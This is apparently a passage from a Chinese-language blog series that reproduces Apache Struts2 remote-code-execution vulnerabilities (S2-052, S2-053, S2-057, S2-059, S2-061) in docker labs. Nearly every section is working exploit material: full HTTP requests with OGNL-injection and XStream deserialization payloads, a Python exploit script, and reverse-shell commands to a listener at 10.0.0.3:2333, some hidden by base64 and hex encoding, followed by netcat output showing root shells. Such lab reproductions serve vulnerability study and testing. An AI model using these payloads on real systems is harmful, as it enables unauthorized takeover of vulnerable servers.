
    POST /integration/saveGangster.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/integration/editGangster.action
    Cookie: JSESSIONID=D3E7DADD6D479AA556400C64AFD3F78C
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    name="%25{(%23nike%3d'multipart/form-data').(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'bash+-i+>%26+/dev/tcp/10.0.0.3/2333+0>%261').(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}%00b"&age=11&__checkbox_bustedBefore=true&description=2134
    
  2. 成功GetShell

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 59686
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@4ac62c8d2ac1:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@4ac62c8d2ac1:/usr/local/tomcat#
    

14 S2-052 远程代码执行漏洞

影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞详情:

1.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/orders.xhtml即可进入测试页面

1.2 漏洞利用过程

  1. Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

    扩展名 Content-Type 解析方法
    xml application/xml xstream
    json application/json jsonlib或jackson(可选)
    xhtml application/xhtml+xml
    application/x-www-form-urlencoded
    multipart/form-data

    jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

    <classname></classname>
    //或者
    <paramname class="classname"></paramname>
    

    所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

  2. 由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

  3. POC:

    POST /orders/3/edit HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/xml
    Content-Length: 2415
    
    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized>
                    <opmode>0</opmode>
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/>
                        <next class="java.lang.ProcessBuilder">
                          <command>
                            <string>touch</string>
                            <string>/tmp/success</string>
                          </command>
                          <redirectErrorStream>false</redirectErrorStream>
                        </next>
                      </iter>
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </method>
                        <name>foo</name>
                      </filter>
                      <next class="string">foo</next>
                    </serviceIterator>
                    <lock/>
                  </cipher>
                  <input class="java.lang.ProcessBuilder$NullInputStream"/>
                  <ibuffer></ibuffer>
                  <done>false</done>
                  <ostart>0</ostart>
                  <ofinish>0</ofinish>
                  <closed>false</closed>
                </is>
                <consumed>false</consumed>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
      </entry>
      <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
      </entry>
    </map>
    
    • 以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,执行docker-compose exec struts2 ls /tmp/即可看到。

1.3 GetShell

  1. EXP:在远程命令执行过程中,由于务器不识别&这个符号,需要编码,将&换成 &amp;,如图。

    POST /orders/3 HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/xml
    Content-Length: 1708
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/orders/3/edit
    Cookie: JSESSIONID=EFAEC92A3416EE1B3D6F14AB40A68405
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
    <command>
    <string>bash</string>
    <string>-c</string>
    <string>bash -i >&amp; /dev/tcp/10.0.0.3/2333 0>&amp;1</string>
    </command> 
    <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    
    
  2. Getshell:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 43768
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@703573a1c5f3:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@703573a1c5f3:/usr/local/tomcat# 
    

15 S2-053 远程代码执行漏洞

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

漏洞详情:

15.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/hello.action即可进入测试页面

15.2 漏洞利用过程

  1. Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。

    <@s.hidden name="redirectUri" value=redirectUri />
    
    <@s.hidden name="redirectUri" value="${redirectUri}" />
    
  2. 输入如下Payload即可成功执行命令:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    
  3. 注:上述Payload末尾的换行不能掉(也就是说payload后面必须跟一个换行),再发送即可成功。

    POST /hello.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 981
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/hello.action
    Cookie: JSESSIONID=CAA72CA9F92FE4BBD37E59552D6023E7
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A
    

    image-20230428184612826

15.3 GetShell

  1. EXP Payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/10.0.0.3/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

  2. 执行EXP:

    POST /hello.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 1033
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/hello.action
    Cookie: JSESSIONID=CAA72CA9F92FE4BBD37E59552D6023E7
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.0.0.3%2F2333+0%3E%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A
    
  3. Getshell

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 58290
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@f66c90240751:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@f66c90240751:/usr/local/tomcat#
    

16 S2-057远程执行代码漏洞(CVE-2018-11776)

官方对这次漏洞的描述是:

  1. 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
  2. url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
  3. 具体分析可参考:https://www.freebuf.com/vuls/182006.html

16.1 环境安装

docker-compose up -d

  • 安装完成后访问:http://your-ip:8080/showcase即可进入测试页面

16.2 漏洞利用过程

  1. S2-057需要的条件

    • alwaysSelectFullNamespace为true。
    • action元素没有设置namespace属性,或者使用了通配符。
    • 命名空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。
  2. POC:http://your-ip:8080/struts2-showcase/$%7B1+1%7D/actionChain1.action

    image-20230428185458325

16.3 GetShell

  1. EXP Payload:${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

  2. 执行EXP:

    GET /struts2-showcase/%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%77%4c%6a%41%75%4d%79%38%79%4d%7a%4d%7a%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=00F078917620BE55A24332BFEB5F3D69
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
  3. Getshell:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 60526
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@72242023410f:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@72242023410f:/usr/local/tomcat# 
    

17 Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本: Struts 2.0.0 - Struts 2.5.20

参考链接:

17.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/?id=1即可进入测试页面

17.2 漏洞利用过程

  1. POC:http://your-ip:8080/?id=%25%7B233*233%7D,可以发现233*233的结果被解析到了id属性中:

    image-20230428192126589

  2. OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。

  3. 通过如下Python脚本复现漏洞:

    import requests
    
    url = "http://127.0.0.1:8080"
    data1 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
    }
    data2 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
    }
    res1 = requests.post(url, data=data1)
    # print(res1.text)
    res2 = requests.post(url, data=data2)
    # print(res2.text)
    

17.3 GetShell

  1. EXP Payload: %{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'))}

  2. 执行Payload:

    GET /?id=%25%7b%28%23%63%6f%6e%74%65%78%74%3d%23%61%74%74%72%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%29%2e%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%77%4c%6a%41%75%4d%79%38%79%4d%7a%4d%7a%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%7d HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=node01iq7fzw6vzzkwk6lqerus5jht0.node0
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
  3. GetShell:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 35894
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@4a3fa7f3d99d:/usr/src# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@4a3fa7f3d99d:/usr/src# 
    

18 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。

参考链接:

18.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/index.action即可进入测试页面

18.2 漏洞利用过程

  1. POC:

    POST /index.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=node05v3efi2au0yb4krdf14f3atq0.node0
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Length: 827
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    image-20230428225920855

18.3 GetShell

  1. 执行payload

    POST /index.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=node05v3efi2au0yb4krdf14f3atq0.node0
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Length: 914
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    
  2. GetShell:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 46476
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@19a80abe934f:/usr/src# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@19a80abe934f:/usr/src# 
    

工具

posted @ 2023-04-28 23:03  f_carey  阅读(242)  评论(0编辑  收藏  举报